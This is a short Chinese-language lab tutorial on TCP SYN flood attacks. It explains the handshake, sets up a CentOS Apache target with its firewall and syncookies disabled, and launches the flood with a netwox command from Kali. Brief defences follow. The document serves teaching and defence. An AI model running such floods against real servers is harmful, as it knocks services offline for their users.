一、攻击原理
什么是TCP 三次握手
三次握手,是TCP协议最重要机制。用来保证服务请求之前,双方都处于面向连接的状态。从而保障服务可靠、稳定的请求和响应。
三次握手原理:
攻击原理
黑客主机冒充合法主机,向Server端发送大量的SYN 请求连接数据包,但是当Server端,收到SYN,并响应Client端,发出,ACK、SYN,响应客户端时,Client端,并不做任何回应(ACK)。由于大量的SYN数据包请求服务器,导致,服务器系统等待缓存资源瞬间被占满,服务器瘫痪,从而不能响应正常的服务请求。
攻击过程
二、实施攻击
环境准备
攻击机:kali系统–netwox-67
靶机–centos -7.8系统 部署Apache 服务
Goolg 浏览器 测试
靶机部署http服务
[root@node01 ~]# systemctl stop firewalld.service
[root@node01 ~]# setenforce 0
[root@node01 ~]# yum install httpd -y
[root@node01 ~]# echo "wlecome to netwok secure" > /var/www/html/index.html
[root@node01 ~]# systemctl start httpd
访问 http 服务
关闭系统 tcp_syncookies 防御
vim /etc/sysctl.conf
net.ipv4.tcp_syncookies = 0
开始攻击
#攻击目标服务器的80端口
kali@kali:~$ sudo netwox 76 -i 192.168.5.11 -p 80
访问 http 服务
三、防御
1、DOS攻击—拒绝式服务攻击 防御
开启系统 tcp_syncookies 防御
2、DDOS攻击—分布式的拒绝式服务攻击 防御
云服务器备案
例如:腾讯云服务、阿里云服务